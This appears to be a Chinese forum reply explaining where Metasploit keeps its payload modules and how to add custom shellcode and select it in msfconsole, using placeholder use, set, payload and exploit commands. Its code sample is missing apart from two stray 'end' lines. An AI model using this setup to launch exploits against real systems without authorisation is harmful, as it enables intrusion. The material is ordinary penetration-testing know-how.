不是非常明白你的明确目的,随便说说:
1、metasploit的shellcode,叫做payload,存放在这个目录:
C:\Users\Administrator\AppData\Local\msf32\modules\payloads
注:不同的操作系统当前目录前面位置略有差异,这个我就不多说了。
另外,我的metasploit不是最新版本,不知道新版本这个目录位置是否调整,应该没有吧。
2、metasploit使用的是ruby语言,它用的shellcode看起来是这样的:

end
end
上述代码是被保存为shell_bind_tcp.rb,放在C:\Users\Administrator\AppData\Local\msf32\modules\payloads\singles\windows目录的(payloads目录下面还有一些子目录,具体请自行查看)。
3、你如果要使用自己的shellcode,就要按照上述payload的样式构造好自己的payload,并放在合适的路径下,然后在metasploit里面就可以用了:
例如我习惯用metasploit的console:
use xxxx(exp name)
set xxxx xxxx(exp option 1)
set xxxx xxxx(exp option 2)
...
set payload xxxx(payload name)
set xxx xxx ...(payload options)
...
exploit
就OK了。
附图:
1、把自己构造好的shellcode/payload放在合适的目录:
2、启动metasploit的console,show payloads就可以看到自己的那个payload了,就可以使用了:
希望对你有所帮助。
